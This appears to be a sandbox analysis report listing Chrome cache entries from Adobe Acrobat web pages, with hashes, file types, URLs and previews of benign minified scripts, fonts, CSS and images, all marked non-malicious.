Size (bytes):	12535
Entropy (8bit):	4.911176421713736
Encrypted:	false
SSDEEP:
MD5:	BEAB5225A8663804A13E85F063BF69C2
SHA1:	9587F9F1D78665C9BF2CA0B61903199FD73D889D
SHA-256:	2A04C8E6D27FA6FEF61D44551BE3CB90E64C3ADC0613F9E40AB4650AC326A6D0
SHA-512:	6A13B7C07769A03AEB0A46D9BE474C5A2AC280681DC49C16B04DE7A8CBD2147A13B06C04590EE7C7C2B69D28FC8D1B518C7BEFB0E748B1C2EC3D0448B26DA12C
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-pdfverbs-web/3.17.1_4.807.0/tile-icons.js
Preview:	(self["webpackJsonp-pdfverbs-web"]=self["webpackJsonp-pdfverbs-web"]\|\|[]).push([[7979],{EVr9:(e,a,t)=>{var l=t("YWiy");function SCompresspdf36(e){return l.createElement("svg",e,[l.createElement("path",{d:"M6,22.318V31a2,2,0,0,0,2,2H28a2,2,0,0,0,2-2h0V22.321l1,.994V31a3.00015,3.00015,0,0,1-2.82373,2.99491L28,34H8a3,3,0,0,1-3-3H5V23.312ZM23.38,2a2.47,2.47,0,0,1,1.76.73h0l5.12,5.1A2.52,2.52,0,0,1,31,9.6h0v2.485l-1,.994V9.6a1.50008,1.50008,0,0,0-.34032-.95008L29.56,8.54l-5.12-5.1A1.5,1.5,0,0,0,23.38,3H8A2,2,0,0,0,6,5H6v8.08l-1-.994V5A3.00016,3.00016,0,0,1,7.82373,2.0051L8,2Z",fill:"var(--iconAcrobatScan, #19b3b8)",key:0}),l.createElement("path",{d:"M23.38,3a1.5,1.5,0,0,1,1.06.44l5.12,5.1A1.5,1.5,0,0,1,30,9.6v3.479l-2.94045,2.92326a2.38577,2.38577,0,0,0,.00934,3.40457L30,22.321V31a2,2,0,0,1-2,2H8a2,2,0,0,1-2-2V22.318l2.93752-2.92038.14112-.154.0649-.07773A2.38551,2.38551,0,0,0,8.93065,15.994L6,13.08V5A2,2,0,0,1,8,3Z",fill:"var(--iconAcrobatScan, #19b3b8)",opacity:"0.1",style:{isolation:"iso

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	66
Entropy (8bit):	4.8678980513017205
Encrypted:	false
SSDEEP:
MD5:	4F89EA9744C2B6ECC4D753D595C3476C
SHA1:	F66FBAAFD44235B0FECCD5B32FCA20BF9A1AF5DF
SHA-256:	5574761A5E5183F3B7AB2D54E92982CCD09F40168CCB1ED002513477F5923967
SHA-512:	58331AB59A5292C8702A055E95A4858ED0661D55AE7A2B95B313E8ACCF128087363A525B90C5C401D64E89483D25C540E8E8B2028F64ACC6D09D304FE5C69EFA
Malicious:	false
Reputation:	unknown
URL:	https://by2.uservoice.com/t2/496015/web/track.js?_=1713476195386&s=0&c=__uvSessionData0&d=eyJlIjp7InUiOiJodHRwczovL2Fjcm9iYXQuYWRvYmUuY29tL2lkL3VybjphYWlkOnNjOlZBNkMyOjI0ZTgxZDE3LWI4MDEtNGZhZC1hZTI1LTEyMGQ2NTU5MjNjNSIsInIiOiIifX0%3D
Preview:	__uvSessionData0({"uvts":"a138012c-07db-46bf-600e-c7b7c59e6393"});

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	150990
Entropy (8bit):	5.322102102297369
Encrypted:	false
SSDEEP:
MD5:	401A085DAF469075D7D14659F7D3CE0E
SHA1:	415A2E3D83BE2696CC7EC147AE109B651F1119A6
SHA-256:	E3FFA71CD501F9A1352A1CD7C5653ABB51538D47826FF18FD628361153DD73DB
SHA-512:	FC7C609AF12EDE7ED65010554FA2D973D0F372FF5F0D348DC3498DD7861C1884C044FB64D50CD611A80120FB982D14CA7A5234C865FC39CD4A28D8BD509711BB
Malicious:	false
Reputation:	unknown
URL:	https://client.messaging.adobe.com/latest/AdobeMessagingClient.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.AdobeMessagingClient=t():e.AdobeMessagingClient=t()}("undefined"!=typeof self?self:this,function(){return function(e){var t={};function n(a){if(t[a])return t[a].exports;var o=t[a]={i:a,l:!1,exports:{}};return e[a].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=e,n.c=t,n.d=function(e,t,a){n.o(e,t)\|\|Object.defineProperty(e,t,{configurable:!1,enumerable:!0,get:a})},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=24)}([function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var a=Object.assign\|\|function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var a in n)Object.prototype.hasOwnProperty.call(n,a)&&(e[a]=n[a])}return e},o=function()

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (45784)
Category:	downloaded
Size (bytes):	45844
Entropy (8bit):	5.266841128088062
Encrypted:	false
SSDEEP:
MD5:	81DAA23E045D600077CFD26D2E552ACA
SHA1:	3A9462D6980C6CF9EEF2FA0C15967187DF452348
SHA-256:	B3EFAE7328044AEA692F6B271910DE16E0EE8D467F0DD075EF896F6F0FBEE162
SHA-512:	1C71FD44CD4BEECA5D444C1DFB29BB9238E78F6598C9509451B009525C67E599D7CFA4BCDFA58A7287BBA4175F2D53D3002312EC5F9E2637825C07C2C5219C03
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-files-dropin/3.18.0_2.36.0/files-providers-chunk.js
Preview:	(self["webpackJsonp-files"]=self["webpackJsonp-files"]\|\|[]).push([[292,169],{H8In:e=>{"use strict";var t,r="object"==typeof Reflect?Reflect:null,i=r&&"function"==typeof r.apply?r.apply:function ReflectApply(e,t,r){return Function.prototype.apply.call(e,t,r)};t=r&&"function"==typeof r.ownKeys?r.ownKeys:Object.getOwnPropertySymbols?function ReflectOwnKeys(e){return Object.getOwnPropertyNames(e).concat(Object.getOwnPropertySymbols(e))}:function ReflectOwnKeys(e){return Object.getOwnPropertyNames(e)};var n=Number.isNaN\|\|function NumberIsNaN(e){return e!=e};function EventEmitter(){EventEmitter.init.call(this)}e.exports=EventEmitter,e.exports.once=function once(e,t){return new Promise((function(r,i){function errorListener(r){e.removeListener(t,resolver),i(r)}function resolver(){"function"==typeof e.removeListener&&e.removeListener("error",errorListener),r([].slice.call(arguments))}eventTargetAgnosticAddListener(e,t,resolver,{once:!0}),"error"!==t&&function addErrorHandlerIfEventEmitter(e,t,r

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65471)
Category:	downloaded
Size (bytes):	95189
Entropy (8bit):	5.208937570606524
Encrypted:	false
SSDEEP:
MD5:	8808193A57FE2A6612887520C16EEC36
SHA1:	F469995021145E38BE0BBEAD7A27B971A7F0CA3C
SHA-256:	B1460F171C59A89931821EF65D402B28421F8AFF4D4B108D5773C49DDB547977
SHA-512:	8BA187798A88E4432E1CC371707A6654D6038A5C4FDA746D92ACBD0BB5A158DDEF1607005C48EE00129516DE212052D7269ADBA9242AB45286800B79FCAD6BCA
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-core/3.26.1/dc-mobx.js
Preview:	/! For license information please see dc-mobx.js.LICENSE.txt /.(()=>{var e={SDwO:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"auth",{enumerable:!0,get:function(){return i.auth}}),Object.defineProperty(t,"locale",{enumerable:!0,get:function(){return a.locale}});var r,o=n("y986"),i=n("ewvR"),a=n("Ydhh"),s=(r=n("Z2FK"))&&r.__esModule?r:{default:r};(0,o.useStrict)(!0),window.adobe_dc_sdk.appLauncher.coreFunction().addProvider("asset",s.default.getInstance)},Z2FK:(e,t,n)=>{"use strict";function r(e){return r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},r(e)}function o(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable\|\|!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,(void 0,i=function(e,t){if("object"!==r(e)\|\|null===e)return e;var n=e[Symb

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), CFF, length 38004, version 1.0
Category:	downloaded
Size (bytes):	38004
Entropy (8bit):	7.992415184542423
Encrypted:	true
SSDEEP:
MD5:	8D3C19E4ECCD8530EFC9E39326E0FC52
SHA1:	083F5A3B3161541E62CE4002D9FD1731FCA640D2
SHA-256:	5961262FD0CD492D39005E866EF7496F7DD4779EBD615A0FC5ADE35D4EEB8030
SHA-512:	42A6D1D8F735582C18071CC8863E62799A2D5D29EA2E64597D2AEDA3C3661570FD25D849C10CA2E3CBD5B9BAF060C39113F20A7EE8E3F8BF55D42B4667340F87
Malicious:	false
Reputation:	unknown
URL:	https://use.typekit.net/af/40207f/0000000000000000000176ff/27/l?primer=0635fba006f1437d962ae878ad04a353e0c3568e4d5bde3554eb7e3e05ddd02d&fvd=n3&v=3
Preview:	wOF2OTTO...t....... .............................F....?DYNA.i?GDYN.Q..v.`..P...6.$..@....7. .$.)...Y..!..............$.<f...U...'?..~.?../..........._..M\|..\|.Q..ZI..w$......q.m.d..6s...I........B.g.g.w.GR.[...Y.:P....\|J......K4...5..@..(...8.&..G..oN......['{s........T.u...N.h..Y.4`......?..4=..#c..[........!:..-bm).P.\.+Z.."^..W.7Gu.6&.~.M..43..x_.O.....w>..a]cX..%..N....h...`.....C.`...(.;.".(X:..%Mck..=L~.M...\..e...2.:.:...S6.M5.mL..\|.w....,..} .">....6..$..7T.C!$..H...?O.._Hwf../H.i..{.<.H..@!q.CB.$.#;3....<........R.sgo8.M."..4.R.=HM...G......88.Y."{.]..y....J<....._....i...0.....?...%.......lT.b...<...+.p._}.....^r..3..+\...."..2.+5....3...}d......Y(6@.8....U..Rf(G.r..'b)...7.v@..Y...;..@..6r&...>....D..e.........:.h.6...d.R.\|..n......._/....^.....ADll4.." ...!9.Q.y....g....!.8[7..T"....d.# I.'.f...zUY...h.4.,0....j.....Yu "...@..k.)....N.B....tt4'..B..v%:V..:.....>........v-.Io.b9..Ve.jH\|yi.hDa>..=:...L...3}........k...z.+.N.`

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 567 x 320, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	38320
Entropy (8bit):	7.96712620311373
Encrypted:	false
SSDEEP:
MD5:	022196D638C79559AB13292F2B267965
SHA1:	7A24B486AAD59342DAEDE8CEAAF36FF71D89DB86
SHA-256:	10F169559D0032D5881637DA7DB08F205F6505E3FF7FE3BB34BFA93B44063B90
SHA-512:	BC770A3162733CDDC77724495C6BE04FF924C7E5F56B2C3B8AE4DA0B45D2849D1E708C4C67C8105D19CFECA12E829AAC9FA787193600D0FF27BEC8FEC96F7E93
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/home/d6a236877/pwa/pwa-images/screenshots/Tools.png
Preview:	.PNG........IHDR...7...@.....w9.x....PLTE.......df................ .........::.^^....6]....Be..N.$[./f.2f.1a.7m.6j.6f.;m.Gt.^...]..e.6j...b.y......m.........-d.t..}........t..jz....9[vNo.b...2>.:F.6B.>J"FR....:F.>J.2:..........2;.2:.:C.HR.6>.:B.>Fy.......%.BL.6>.>F.FN%R\..".-3.CJ..3%LS+EJ....&.6:,U[,MR5UZDkq:VZY}..%)....6:.-....:>.BF#FJ5^c%=@.#%.69.25.>A.+-.>A%JM.Z^3SVLtx4LN#-..,.:<+SU$CEKM<ceTz\|]...BD&RT.564[\=[\d.....Fhh)99j..h..n.............OqpD]\>TSa}\|0BAGb`Xwtg.~j..n..n..t..q.....y..J?Qc]<HD .l.3).=2BPK4TH...HYRFeVu.\|Zh`6<7...<C<uyu......#..ckbiqg.../1.EJB...y.<..c.......~.xMQHrxj...\^U......~}l..mXVL....r.....ofV..}q^...OE:H@7....)$VKA.\|fC80qZK}S;.{T;-kP@M:/:0.d.gC0.]D\>.hH7\A3K53%.:,%.T;uJ5D/%D2.F.\8)L0%+!.g:)S1%T5%..x<(B)!j1!_0#?$.Z+.M(........**....................\..(...kIDATx...`T..O...i.6q.^b.Z.;.=...L.=,.$.0..#.... ..`7..,.{f...xLg.& PUK.w..H@.^..6&,....../x.U......&$z..j..U%....{.-.w.C?.2..H...1N.!<F..(.@......;p<.c..i<F..G1.)8..5....y

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (21104), with no line terminators
Category:	downloaded
Size (bytes):	21120
Entropy (8bit):	5.132639709347809
Encrypted:	false
SSDEEP:
MD5:	B83462B2A7E3D6DD6B41F3045DAA2E01
SHA1:	72F80B4D4E2C85E5F74297828B57EE4A890FCCBC
SHA-256:	1657FA85D84CF9994D4DAA0DE23C37DEE69CF0824EA8FBD01C4B351F9A9418AE
SHA-512:	6AF57F6C390A02C89F05AF61AAFF5DA4FB041CC8E0BEE49C13D75202911CBCFE9726F3A0AD262992AC65237AF3BB6DCC4BB8D037E733213A371394025E8005CB
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-fillsign2-dropin/3.17.1_1.306.0/translations-en-US-json-chunk.js
Preview:	"use strict";(self["webpackJsonp-fillsign2"]=self["webpackJsonp-fillsign2"]\|\|[]).push([[577],{R5i5:e=>{e.exports=JSON.parse('{"verb.fillsign.frictionless.description.seo":"Drag and drop a PDF to use the Acrobat PDF form filler."}')},t39f:e=>{e.exports=JSON.parse('{"fillsign.bootstrap.label":"Fill & Sign","fillsign.bootstrap.tooltip":"Fill and sign documents electronically","fillsign.bootstrap.modernViewer.tooltip":"Fill and sign your document or request e-signatures","fillsign.bootstrap.label.service":"Fill & Sign Service","verb.upload.error.only_accept_one_file":"Only one file can be uploaded at a time.","verb.upload.error.unsupported_type":"Unsupported file type.","verb.upload.error.file_too_large":"File too large.","verb.upload.error.empty_file":"This file is empty.","verb.upload.error.invalid_file":"Error with file upload. Your file may be corrupted or password protected.","verb.upload.error.max_page_count":"This file has too many pages to be processed. Maximum pages allowed: ","ve

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (25561), with no line terminators
Category:	downloaded
Size (bytes):	25571
Entropy (8bit):	4.778179955517353
Encrypted:	false
SSDEEP:
MD5:	5662D5391F8AEDC329614CDF043AFA05
SHA1:	F0987794D6B851C0DE7C1B5F4A831B8808AAF993
SHA-256:	CFE0AAADA15914A70EFF5A5C941EB615C2898618864FEEA51109248BBAAC87BE
SHA-512:	2C0031F500D2061741254038A67A5A3FBD137F1FA43DE81B0EEC1CD723CEFA8580C696E001285C35A55ACF47A4DE0B30E26B090B146467A53A735C712E54A198
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-viewer-dropin/3.0.2_1.619.0/translations-en-US-json-chunk.js
Preview:	"use strict";(self["webpackJsonp-viewer"]=self["webpackJsonp-viewer"]\|\|[]).push([[818],{t39f:e=>{e.exports=JSON.parse('{"verb.editpdf.addImage.dialogTitle.addImage":"Add Image","verb.editpdf.too.many.files":"Only 1 file can be uploaded for editing at a time","default":" ","titlebar.branding":"Adobe cloud storage","topbar.redirect.yourDocuments":"Your documents","topbar.redirect.documentCloud":"Adobe cloud storage","topbar.redirect.cloudStorage":"Adobe cloud storage","topbar.redirect.yourFiles":"Your files","topbar.redirect.sharedByYou":"Shared by you","topbar.redirect.sharedByOthers":"Shared by others","modernviewer.tooltip.home":"Go to Acrobat Home","tooltip.back":"Back","tooltip.home":"Home","tooltip.contextBoard":"File details and tools","tooltip.shareContextBoard":"Share File","tooltip.shareButton":"Share","modernviewer.arialabel.home":"Go to Home page","arialabel.back":"Back","arialabel.home":"Home","arialabel.contextBoard":"File details and tools","arialabel.shareContextBoard":"S

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), CFF, length 36388, version 1.0
Category:	downloaded
Size (bytes):	36388
Entropy (8bit):	7.99205462986647
Encrypted:	true
SSDEEP:
MD5:	B2FE0D9753FE193A7965B201CCEB9547
SHA1:	5F2D96F6BFD11797A53E9A2832CA5A2F53211556
SHA-256:	A4DF96CBF8E2CAA44973A92CC15757C900EFC169039CE07E36F4E0FBC86B0216
SHA-512:	332002E448764248BACB1BEE03591F51AFDC3E83CDAA54AA4C924F7916121C4EF5DF5291D08ADA611D8A5106F6CCE104202327CBF4888E77FC0FF22A64178930
Malicious:	false
Reputation:	unknown
URL:	https://use.typekit.net/af/74ffb1/000000000000000000017702/27/l?primer=0635fba006f1437d962ae878ad04a353e0c3568e4d5bde3554eb7e3e05ddd02d&fvd=i4&v=3
Preview:	wOF2OTTO...$.......T.............................F...x?DYNA.\|?GDYN.9..\.`..f...6.$..@....~. .Z... ..q...2.............zN..^5. ..g...o~..?..o........q...<...Z....fw....''&....\....d?....J.P.V@.O.XWG.I"..4.o.B...N.4s....8.<.j'..h.z....z.........Z.X.$....i.l!\|6..L,,.v....l....6...-.yp.<=.?..^-...-.,.+h.....l;[.b..V.......%?..]...z.........d.......K..wkih.&.u...F)bE..b..nwow.a..+h.A.;b..@@E...%F...#.?....%1.@K.F!1.c.\...=.......V.......n...1.....'.....p Ol........7/.......n.`.M.4.I.@v....Er......3..Bww+.......S.E......{R^..K........r.T......?<..... .N.r.\|.n...>x.... M.....q....9....:.%<..4...Oo..l..X.t....t.....\w%.Q.jtn....VX...6._w)+....V.....FvP..t.h^xP\|.U}]?\|..G..arY..>.2...<"..\|..i.~..w!\ ..L+e.&.i.]..eX...l..%.2f.[.y.c....;..TP.......D...a.@.......j.{U..c..N.Aj)/.k.Y./...q1..@...h..3-{.]%......v..a.hW2.@.Jm.D;..SE`.A....T.Gpu...Q.i.Vh....#\.........u....>q..........=..._.[G.......V.............:h..h...AP..0. ....RH..d..\|,.jl........\.]<

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1504568
Entropy (8bit):	4.9642589420495415
Encrypted:	false
SSDEEP:
MD5:	575475A8EEC4D426637F5CA5944AAEB3
SHA1:	7B6E5D9C89B70A698FFCCC4523E0E1E1E9B5AA02
SHA-256:	B4BE5F5E3FA97558B0E31D534F3CABB8EAFC89D3E64115623E46CCD312ABDBC7
SHA-512:	9B611963EFF0B14DB58A61C5FBE09D0071919FBF2E8150B737296C97313E268D640975FA8B87EDF3621A2EA0D98C9650D9EB801122F707BB8A5A59DA836060AE
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dcpreviewdropin/3.0.2_2.709.0/jsEngine-chunk-chunk.js
Preview:	"use strict";(self["webpackJsonp-preview"]=self["webpackJsonp-preview"]\|\|[]).push([[4098],{S1Me:(A,g,C)=>{var I;C.r(g),C.d(g,{default:()=>t});const Q=(I="undefined"!=typeof document&&document.currentScript?document.currentScript.src:void 0,function(A={}){var g,C;(A=void 0!==A?A:{}).ready=new Promise((function(A,I){g=A,C=I}));var Q,B=Object.assign({},A),quit_=(A,g)=>{throw g},E=!0,D=!1,o="";(E\|\|D)&&(D?o=self.location.href:"undefined"!=typeof document&&document.currentScript&&(o=document.currentScript.src),I&&(o=I),o=0!==o.indexOf("blob:")?o.substr(0,o.replace(/[?#].*/,"").lastIndexOf("/")+1):"",D&&(Q=A=>{try{var g=new XMLHttpRequest;return g.open("GET",A,!1),g.responseType="arraybuffer",g.send(null),new Uint8Array(g.response)}catch(g){var C=tryParseAsDataURI(A);if(C)return C;throw g}}));var w,K=A.print\|\|console.log.bind(console),M=A.printErr\|\|console.warn.bind(console);Object.assign(A,B),B=null,A.arguments&&A.arguments,A.thisProgram&&A.thisProgram,A.quit&&(quit_=A.quit),A.wasmBinary&&(w

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2702)
Category:	downloaded
Size (bytes):	2761
Entropy (8bit):	5.3433011614491335
Encrypted:	false
SSDEEP:
MD5:	7F3108510F7940CDEEB90D360AF50CD4
SHA1:	9A3FC7D3DC42845B5281DD8927F31C1EF3E6C2A5
SHA-256:	92F896D26B82DE8C0912FA8562CA7D21C7D6496822B354A37F06C4CF53C27BE8
SHA-512:	63C5BFE3520C503092CF4D4180B531527967B35A12F41BAFF2EC6093FB96DAF8BC321B710002F371DB9ED44234CCB2E6AD629CE933176654B5E9960D40B0A413
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-global-nav-dropin/3.19.1_3.312.0/global-nav-store-chunk.js
Preview:	(self["webpackJsonp-global-nav"]=self["webpackJsonp-global-nav"]\|\|[]).push([[993],{QWgQ:(e,i,t)=>{"use strict";t.d(i,{ul:()=>n});const n=Object.freeze({HAMBURGER_MENU_RIGHT:"hamburgerMenuRight",HAMBURGER_MENU_LEFT:"hamburgerMenuLeft"})},R9kL:(e,i,t)=>{"use strict";t.r(i),t.d(i,{default:()=>d});var n,o,r=t("Evfb"),l=t("Uvsd"),a=t("plsW"),s=t("abd3"),c=t("QWgQ");const u=a.logging.getLogger("nav-store"),g={navigation:null,branding:null,brandingPosition:c.ul.HAMBURGER_MENU_RIGHT,main:null,sideMenuActions:null,topBarActions:null,spectrumTheme:null,backgroundColor:null,layout:null,hidden:!1,hideProgress:!1,hideAdobeLogo:!1,hideUtilNav:!1,hideSelectedSideMenuActionInSmallerScreens:!1,alwaysShowMain:!1,showBetaFeedback:!1,showProgressBeforeActions:!1,showDocCloudLabel:!1,showWhatsNewNotification:!1,shouldWhatsNewBeShown:!1,noFilename:!1,onFileNameClick:null,showLocation:!1,clearInactiveProgressCallback:()=>{},removeHistoryHrefCallback:()=>{}};let d=(n=class GlobalNavStore{constructor(){this.co

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	85
Entropy (8bit):	4.780241972431173
Encrypted:	false
SSDEEP:
MD5:	A8F31907CAE1CFE6508E91681726D9AA
SHA1:	145175C780ECDB6BF673DF3C0C0B0DC86C00A3E9
SHA-256:	CAB13851A06215CD7ADC3251C7BB0F8CEE2BAE4FC160FE4DA20573C3B1063575
SHA-512:	EC92D553F8AB385A626ED85619A51F8EA3A48069A910DD33C1898C29BA6C4D1D0761858B283FB5AFC744601C3660716EFD62046AB2C9A4B0DFEB21D2F33AE5E3
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc/overrides.js
Preview:	(function initOverrides() {..window.dcAppOverrides = {..."dc-web-app": {},..};.}());.

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	troff or preprocessor input, ASCII text, with very long lines (7656)
Category:	downloaded
Size (bytes):	66464
Entropy (8bit):	5.050281079221053
Encrypted:	false
SSDEEP:
MD5:	CA344841298EEDD995DB0268E6DAE183
SHA1:	31057C6C81ADEFA4796A7931AAA48553C5C09ABA
SHA-256:	11F0D5166D3992C0FB0FDEF41A0A943C8BCF1FF631306C9A2330FF476D62ADF5
SHA-512:	5C291DBD61E85ABD6FB88B7BC853A51B80B909D0E7316BCCFCF08701EEB8AD8D7C61947734755F54A3B2C77F5F1F87CFA8FD5FA511635ADF802BFB837F2508BE
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-core/3.26.1/dc-extras.css
Preview:	.spectrum-Alert{position:relative;display:inline-block;box-sizing:border-box;min-width:368px;min-height:38px;margin:8px 0;padding:20px;border-width:2px;border-style:solid;border-radius:4px}.spectrum-Alert-icon{position:absolute;display:block;top:20px;right:20px}.spectrum-Alert-header{display:inline-block;height:auto;min-height:0;margin:0;padding:0 30px 0 0;font-size:14px;font-weight:700;font-style:normal;line-height:14px;text-transform:none}.spectrum-Alert-content{display:block;margin:8px 0 0;padding:0;font-size:14px;word-wrap:break-word}.spectrum-Alert-footer{display:block;text-align:right;padding-top:.5rem}.spectrum-Alert-footer:empty{display:none}.spectrum-Alert-footer .spectrum-Button{margin-right:0;margin-left:.75rem}..spectrum--light .spectrum-Alert{background-color:#fff;color:#6e6e6e}.spectrum--light .spectrum-Alert-header{color:#2c2c2c}.spectrum--light .spectrum-Alert-content{color:#6e6e6e}.spectrum--light .spectrum-Alert--info{border-color:#2680eb}.spectrum--light .spectrum-Al

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65469)
Category:	downloaded
Size (bytes):	2155253
Entropy (8bit):	5.5318689117533575
Encrypted:	false
SSDEEP:
MD5:	9BFAA7814A3D3120076446EA3B059FC6
SHA1:	43E9F4E1D4105D02FB4931A4EE77BD8A589A6852
SHA-256:	CCF202D3FCDFD7B5B1727BFA096BC7093626DDCC60B78F58798639BF0805200B
SHA-512:	10E15B5F4732C28825FA4D09830CBB530EE0878B47AC18CCD539B28570C4EB7AD12FD0B8A7740B69FB110F423CD9794B83FD4B277F72E3D8302D5AC90B500B2A
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dcpreviewdropin/3.0.2_2.709.0/bootstrap.js
Preview:	/! For license information please see bootstrap.js.LICENSE.txt /.(()=>{var e,t,r,i,o={R9CF:(e,t,r)=>{"use strict";t.i=function A4uRotateCCWBold(e){var t=_extends({},e);return i.default.createElement("svg",_extends({viewBox:"0 0 36 36"},t,t),i.default.createElement("path",{fillRule:"evenodd",d:"M18,2A16.03,16.03,0,0,0,4.644,9.228L1,7.521a.69.69,0,0,0-.531-.027.7.7,0,0,0-.424.9L3.053,16.7a.5.5,0,0,0,.589.276l8.311-3.008a.7.7,0,0,0,.42-.9.686.686,0,0,0-.361-.39L8.335,10.958a11.971,11.971,0,1,1-.161,13.917,2,2,0,0,0-3.274,2.3A16,16,0,1,0,18,2Z",transform:"translate(0)"}))};var i=function _interopRequireDefault(e){return e&&e.__esModule?e:{default:e}}(r("YWiy"));function _extends(){return _extends=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var i in r)Object.prototype.hasOwnProperty.call(r,i)&&(e[i]=r[i])}return e},_extends.apply(this,arguments)}},Met5:(e,t,r)=>{"use strict";t.C=function A4uRotateCWBold(e){var t=_extends({},e);

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	656670
Entropy (8bit):	5.564900554587791
Encrypted:	false
SSDEEP:
MD5:	D618E47710DA0F39F4BA79E0A5ADBA07
SHA1:	07ABEC43118DBC5FBE3623E661B2057EBFD0E462
SHA-256:	8562E22220F33D32C216929AF253B87952D6F75B4A2119BDD2903224ABED1901
SHA-512:	D6710786FF6B23B6E069F010BFEAEAE12D387557720D6F34FE313759450DFF9F07238F62F80D5428EFCE6D5C0AC1F52766D61EDF4C0E145EBB146F859CEF6833
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-viewer-dropin/3.0.2_1.619.0/viewerDropin-chunk.js
Preview:	(self["webpackJsonp-viewer"]=self["webpackJsonp-viewer"]\|\|[]).push([[383],{rmjt:(e,t,r)=>{"use strict";var o=r("AAps");Object.defineProperty(t,"Zb",{enumerable:!0,get:function get(){return i.default}});var i=o(r("NRbv")),n=o(r("Jh2l")),a=o(r("vDin")),s=o(r("CyEC")),l=o(r("WGSU"))},NRbv:(e,t,r)=>{"use strict";var o=r("AAps");Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var i,n,a,s=o(r("z3HK")),l=o(r("jp00")),c=o(r("QNma")),d=o(r("vPca")),p=o(r("khqL")),u=o(r("qavZ")),g=o(r("qJYQ")),h=o(r("i44B")),m=o(r("AAps")),f=o(r("uqI5")),b=o(r("da+B")),_=o(r("PZ3W")),v=o(r("vsH4")),w=o(r("e1tA")),y=r("f6H/"),S=o(r("/hLX")),C=o(r("YWiy"));r("gA9v");var E={"cs-CZ":(0,m.default)(r("54Yc")).default,"da-DK":(0,m.default)(r("tONz")).default,"de-DE":(0,m.default)(r("TLeo")).default,"en-US":(0,m.default)(r("Y756")).default,"es-ES":(0,m.default)(r("KAkQ")).default,"fi-FI":(0,m.default)(r("9lK2")).default,"fr-FR":(0,m.default)(r("+XIj")).default,"hu-HU":(0,m.default)(r("TiUY")).default,"

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65471)
Category:	downloaded
Size (bytes):	794013
Entropy (8bit):	5.5955046365036445
Encrypted:	false
SSDEEP:
MD5:	5C2C130BFC93D8122E519199BF2E9884
SHA1:	507559407265307B0D083BC1C9723BB2C2EB8061
SHA-256:	1388EA5AD7A328CBA76DF00307D1DA7A3DD293551E4421BDBB09E6C77CCA0BA7
